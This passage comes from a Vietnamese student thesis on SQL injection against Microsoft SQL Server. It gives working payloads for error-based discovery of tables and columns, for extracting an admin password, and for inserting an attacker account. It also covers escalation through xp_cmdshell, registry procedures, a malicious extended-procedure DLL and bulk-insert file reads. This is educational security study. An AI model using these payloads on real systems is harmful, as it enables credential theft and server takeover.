DỤNG SQL SERVER
3.1.1. Thu thập thông tin qua các thông báo lỗi
Kỹ thuật này đầu tiên được khám phá bởi David Litchfield.
Để có thể thao túng được dữ liệu trong cơ sở dữ liệu, kẻ tấn công phải sẽ xác định cấu trúc của các cơ sở dữ liệu và các bảng. Ví dụ bảng của người dùng được tạo bởi lệnh sau:
create table users( id int,
username varchar(255), password varchar(255), privs int )
và người dùng được đưa dữ liệu vào trong bảng:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff )
Một thủ tục đăng nhập sử dụng câu truy vấn mà xây dựng dựa vào 2 tham số đầu vào là username, password như sau:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
Trong ngữ cảnh kẻ tấn công muốn chèn thêm một tài khoản người dùng nhưng hồn tồn khơng biết được cấu trúc của cơ sở dữ liệu đó như tên bảng, tên các cột trong bảng và kiểu dữ liệu của cột. Bằng cách điều khiển giá trị dữ liệu đầu vào mà kẻ tấn cơng có thể đạt được mục đích của mình.
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
Đầu tiên, kẻ tấn công muốn xác định tên của các bảng và cột, hắn thực hiện mệnh đề 'having' trong phát biểu ‘select’
Username: ' having 1=1--
Khi đó thơng báo lỗi xuất hiện
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Vì thế kẻ tấn cơng biết được tên bảng và tên cột đầu tiên trong truy vấn. Kẻ tấn công tiếp tục thực hiện để biết được các cột còn lại trong bảng bằng cách chỉ ra mỗi trường trong mệnh đề ‘group by’ như sau:
Username: ' group by users.id having 1=1--
thông báo lỗi tiếp theo xuất hiện
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Cuối cùng kẻ tấn công đạt được :
' group by users.id, users.username, users.password, users.privs having 1=1--
Cơ sở dữ liệu thực hiện và không thông báo lỗi nào. Chức năng của câu lệnh trên tương ứng với câu lệnh:
select * from users where username = ''
Vì thế kẻ tấn cơng biết được câu truy vấn chỉ tham chiếu đến bảng ‘users’, và sử dụng theo thứ tự các cột 'id, username, password, privs'.
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
Sau khi biết được tên các cột trong bảng, kẻ tấn công lại khai thác tiếp để biết được kiểu dữ liệu của cột bằng cách tạo ra thông báo lỗi khi chuyển đổi kiểu như sau:
Username: ' union select sum(username) from users—
SQL server sẽ áp dụng mệnh đề sum trước, và thông báo lỗi xuất hiện:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
Thông báo lỗ trên cho kẻ tấn công biết được kiểu của cột ‘username’ có kiểu varchar. Mặt khác nếu thực hiện sum() trên dữ liệu kiểu số, vẫn nhận được một thông báo lỗi cho biết số lượng trường trong hai tập kết quả là khác nhau:
Username: ' union select sum(id) from users—
và thông báo lỗi
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of expressions in their target lists.
Kẻ tấn cơng có thể sử dụng kỹ thuật này để xác định được kiểu dữ liệu của cột bất kỳ trong bảng, trong cơ sở dữ liệu.
Do đó cho phép kẻ tấn cơng tạo một truy vẫn thực hiện thêm dữ liệu như sau
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Tuy nhiên, tiềm năng của kỹ thuật này không dừng tại đây. Kẻ tấn cơng có thể lấy được các lợi thế của các thông báo lỗi bất kỳ mà tiết lộ thơng tin về
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
môi trường hoặc cơ sở dữ liệu. Danh sách các thơng báo lỗi chuẩn có thể thu được bằng cách thực hiện:
select * from master..sysmessages
Qua việc phân tích danh sách này có thể thu dược các thông tin cần quan tâm.
Nếu như kẻ tấn công cố gắng chuyển đổi một kiểu chuỗi về kiểu số, thì nội dung cần chuyển đổi được trả lại trong thơng báo lỗi.
Ví dụ khi nhập dữ liệu đầu vào và sẽ trả lại phiên bản của SQL Server và hệ điều hành mà nó đang chạy
Username: ' union select @@version,1,1,1—
và nhận được thông báo lỗi:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
Điều này có nghĩa là chuyển đổi hằng số @@version thành số nguyên, bởi vì cột đầu tiên trong bảng là số nguyên.
Sử dụng kỹ thuật này, kẻ tấn cơng có thể đọc giá trị bất kỳ trong bảng, trong cơ sở dữ liệu. Trong giả định trên, kẻ tấn công quan tâm đến usernames và passwords, nên chúng có thể đọc usernames từ bảng users như sau:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Khi đó , truy vấn lựa chọn username nhỏ nhất mà lớn hơn ‘a’ và cố gắng chuyển đổi sang kiểu số nguyên, và xuất hiện thông báo lỗi
Nghiên cứu tìm hiểu một số dạng tấn cơng SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
Vì thế kẻ tấn cơng biết được tài khoản ‘admin’ đang tồn tại. Hắn ta có thể tiếp tục lặp lại để tìm các username khác
Username: ' union select min(username),1,1,1 from users where username > 'admin'—
và xuất hiện thông báo lỗi
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
Sau khi xác định được username, kẻ tấn cơng tìm mật khẩu.
Username: ' union select password,1,1,1 from users where username = 'admin'--
xuất hiện thông báo lỗi
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
Như trong thông báo lỗi trên, kẻ tấn công sẽ biết được mật khẩu của người dùng ‘admin’ và mục tiêu của kẻ tấn công đã đạt được.
3.1.2. Leo thang quyền kiểm sốt
Khi kẻ tấn cơng khi có được quyền điều khiển cơ sở dữ liệu, thì chúng muốn sử dụng quyền này để truy cập giành lấy quyền giám sát hơn nữa trên mạng. Điều này có thể đạt được trong một số cách sau:
• Sử dụng thủ tục lưu trữ mở rộng xp_cmdshell để thực hiện các lệnh giống như người dùng SQL Server, trên dịch vụ cơ sở dữ liệu
Nghiên cứu tìm hiểu một số dạng tấn cơng SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
Các thủ tục lưu trữ mở rộng là các hàm trong thư viện liên kết động (DLL), sử dụng các quy ước gọi hàm trong SQL Server để thực thi nó. Các thủ tục này là một đặc tính rất hữu ích để mở rộng chức năng cho hệ thống. Trong SQL Server tạo sẵn một số thủ tục lưu trữ mở rộng và thực hiện một số chức năng như gửi mail và tương tác với registry. xp_cmdshell là một thủ tục lưu trữ mở rộng, cho phép thực hiện các dịng lệnh (command lines), ví dụ như:
exec master..xp_cmdshell 'dir'
và kết quả là lấy được danh sách thư mục trong thư mục hiện hành của tiến trình SQL Server.
exec master..xp_cmdshell 'net1 user'
sẽ cung cấp danh sách tất cả người dùng trên máy, Bởi vì SQL Server thường được chạy bằng tài khoản hệ thống cục bộ (local system account) hoặc tài khoản người dùng miền (domain user account), thì kẻ tấn cơng có thể gây ra nhiều nguy hại.
• Sử dụng thủ tục lưu trữ mở rộng xp_regread extended để đọc các khóa registry.
Một tập các thủ tục mở rộng hữu ích khác là các hàm xp_regXXX như : o xp_regaddmultistring o a o xp_regdeletekey o xp_regdeletevalue o xp_regenumkeys o xp_regenumvalues o xp_regread o xp_regremovemultistring o xp_regwrite
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
Kẻ tấn cơng có thể sử dụng các hàm này để thay đổi cấu hình của dịch vụ hệ thống cho lần khởi động kế tiếp, hoặc tự động thực hiện lệnh sau khi người dùng đăng nhập vào server.
• Sử dụng thủ tục lưu trữ mở rộng khác để chi phối server đó
Thủ tục xp_servicecontrrol cho phép người dùng khởi động, kết thúc, tạm dừng dịch vụ như:
exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server'
Dưới đây là một số thủ tục mở rộng hữu ích khác: o xp_availablemedia: Khám phá các ổ đĩa trên máy
o xp_dirtree: Cho phép thu được thông tin về cây thư mục o xp_enumdsn: Liệt kê các nguồn dữ liệu ODBC trên server o xp_loginconfig: Khám phá thơng tin về chế độ an tồn của server o xp_makecab: Cho phép người dùng tạo các file nén trên server
( hoặc file bất kỳ mà server có thể truy cập)
o xp_ntsec_enumdomains : Liệt kê các miền mà server có thể truy cập
o xp_terminate_process: Ngắt một tiến trình
• Thực hiện các truy vấn trên các server có liên kết
SQL Server cung cấp cơ chế cho phép các server được liên kết với nhau, nghĩa là cho phép một truy vấn trên một server cơ sở dữ liệu có thể thao tác với dữ liệu trên server khác. Các đường liên kết này được lưu trữ trong bảng master..sysservers. Nếu như một server được khởi động bằng cách sử dụng thủ tục sp_addlinkedsrvlogin, thì sẽ tao ra một liên kết được xác thực trước (pre-authenticated link) và server này có thể được truy cập tới mà không phải đăng nhập. Chức năng truy vấn mở ('openquery) cho phép các truy vấn được thực hiện chống lại các server liên kết này.
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
• Tạo các thủ tục lưu trữ mở rộng để thực hiện mã lệnh khai thác từ bên trong tiến trình SQL Server
API thủ tục mở rộng là một ví dụ đơn giản, nó dùng để tạo một DLL thủ tục mở rộng mà có chứa các mã lệnh đọc hại. Có một số cách để tải DLL này lên SQL Server bằng cách sử dụng các dịng lệnh (command lines) và có một số cách khác liên quan đến các cơ chế truyền thông như HTTP và FTP.
Khi file DLL xuất hiện trên máy mà SQL Server, kẻ tấn cơng có thể thêm các thủ tục mở rộng, ví dụ như
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
Thủ tục này có thể được chạy bằng cách thơng thường như:
exec xp_webserver
Sau mỗi lần chạy thủ tục này có thể được loại bỏ như sau:
sp_dropextendedproc 'xp_webserver'
• Sử dụng lệnh 'bulk insert' để đọc file bất kỳ trên server
Thực hiện lệnh 'bulk insert', kẻ tấn cơng có thể đưa một file văn bản vào trong một bảng tạm, ví dụ như cách sau:
create table foo( line varchar(8000) )
sau đó chạy lệnh bulk insert để đưa dữ liệu từ file vào. bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
Sau đó dữ liệu này có thể sử dụng các kỹ thuật thơng báo lỗi ở trên hoặc bằng cách thực hiện select có ‘union’ để kết hợp dữ liệu trong file với dữ liệu thông thường và trả về cho ứng dụng.
• Sử dụng bcy để tạo ra các file văn bản trên server
Kẻ tấn công cũng dễ dàng thực hiện tạo các file văn bản, sử dụng kỹ thuật trái ngược với 'bulk insert'. Tuy nhiên nó u cầu một cơng cụ thực hiện chế độ dòng lệnh 'bcp' ('bulk copy program). Bởi vì bcy truy cập cơ sở dữ liệu từ bên người tiến trình SQL Server, nên nó u cầu phải đăng nhập. Tuy nhiên đây khơng là khó đối với kẻ tấn cơng, vì kẻ tấn cơng có thể tạo một cách bất
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
kỳ, hoặc lấy được ưu thế của chế độ an tồn tích hợp (integrated security) nếu như server đó được cấu hình.
3.2. XÂY DỰNG CHƯƠNG TRÌNH DEMO THỰC HIỆN TẤN CƠNG SQL INJECTION
3.2.1. Nội dung kịch bản demo
Bài tốn gải định: Có chương trình QuanLyTinNhan, chương trình này được dùng để các thành viên gửi tin nhắn tới nhau. Các tin nhắn này được lưu tại mày chủ SQL Server. Người dùng đăng nhập chương trình bằng tài khoản của SQL Server, sau đó có thể thực hiện việc gửi tin nhắn cho người dùng khác, hoặc đọc nội dung tin nhắn do người khác gửi tới. Ví dụ có bốn người dùng là user01, user02, user03, user04. Các người dùng này sẽ đăng nhập chương trình QuanLyTinNhan, sử dụng chức năng gửi tin nhắn cho các người dùng cịn lại. Người dùng user01 có thể đọc nội dung tin nhắn được gửi cho mình, nhưng khơng thể đọc được nội dung tin nhắn của người khác. Ngồi ra phần thơng tin cá nhân của mỗi người dùng chỉ có người dùng đó có thể truy xuất được.
Chương trình demo này sử dụng cơ sở dữ liệu tên là QuanLyTinNhan, dùng để lưu thông tin người dùng, nội dung các tin nhắn. Người dùng không được phép truy cập trực tiếp lên các bảng dữ liệu, mà người dùng chỉ có thể truy xuất dữ liệu trong bảng thông qua các thủ tục lưu trữ. Người dùng sẽ cung cấp các tham số đầu vào cho các thủ tục này để thực hiện truy xuất dữ liệu.
Dựa vào vấn đề trên, em thực hiện demo tấn công SQL injection dựa trên các tham số đầu vào cho thủ tục lưu trữ mà người dùng đó có quyền thực thi. Tuy chương trình QuanLyTinNhan em xây dựng ở trên cịn ở mức đơn giản, giúp em hiểu rõ hơn về tấn công injection vào các tham số đầu vào của thủ tục lưu trữ tuy đơn giản nhưng có thể gây hậu quả nghiêm trọng.
3.2.2. Giới thiệu chương trình ứng dụng sẽ được áp dụng cho demo
Dưới đây em mô tả cơ bản về cấu trúc, chức năng của chương trình QuanLyTinNhan:
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
3.2.2.1.Cấu trúc cơ sở dữ liệu QuanLyTinNhan
• Các bảng cơ sở: tblNguoidung, tblTinnhan, tblNguoinhan, được thiết kế như sau:
Bảng tblNguoidung: Dùng để lưu thơng tin cá nhân về người dùng đó, gồm các cột
STT Tên cột Mục đích
1 MaSo Mã người dung
2 HoTen Tên tài khoản người dung
3 GioiTinh Giới tính (Nam/Nữ)
4 Ngaysinh Ngày tháng năm sinh người dung
5 DiaChi Địa chỉ nơi ở
Bảng tblTinnhan: Dùng để lưu thông tin cá nhân về người dùng đó, gồm các cột
STT Tên cột Mục đích
1 MaTin Mã của tin nhắn
2 NgayGui Thời gian tin nhắn được gửi
3 TieuDe Tiêu đề của tin nhắn
4 NoiDung Nội dung chi tiết của tin nhắn
Bảng tblNguoinhan: Dùng để lưu thông tin cá nhân về người dùng đó, gồm các cột
STT Tên cột Mục đích
1 MaTin Mã của tin nhắn
2 MaNhan Mã số của người sẽ được nhận tin
3 MaGui Mã số của người gửi tin
4 TinhTrang Hiện trạng tin nhắn (đã được đọc chưa)
• Tạo 2 view dùng để kết hợp dữ liệu trong các bảng: o vwMaNhan: Hiển thị tồn bộ người dùng hiện có
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
• Tạo các thủ tục lưu trữ, truy xuất dữ liệu trong bảng. Người dùng chỉ có quyền thực thi trên các thủ tục này
o Sp_TenDangNhap: Hiển thị tên người dùng trong SQL Server o Sp_TenNguoiDung: Hiển thị danh sách người dùng có thể nhận
tin
o Sp_ThemNguoiDung: Ghi thông tin cá nhân vào trong bảng tblNguoidung
o Sp_XemNguoiDung: Hiển thị thông tin cá nhân người dùng
o Sp_ThemTinNhan: Lưu nội dung tin nhắn vào trong bảng tblTinnhan và tblNguoinhan
o Sp_XemChiTiet: Hiển thị các tin nhắn được gửi đến cho người dùng
3.2.2.2. Các chức năng của chương trình ứng dụng QuanLyTinNhan
• Giao diện chính của chương trình demo, như hình sau:
Hình 3.1. Giao diện chương trình demo
Nghiên cứu tìm hiểu một số dạng tấn công SQL Injection vào hệ quản trị CSDL Microsoft SQL Server
Hình 3.2. Giao diện kết nối tới SQL Server
• Chức năng đăng ký thơng tin cá nhân:
Hình 3.3. Giao diện đăng ký thơng tin cá nhân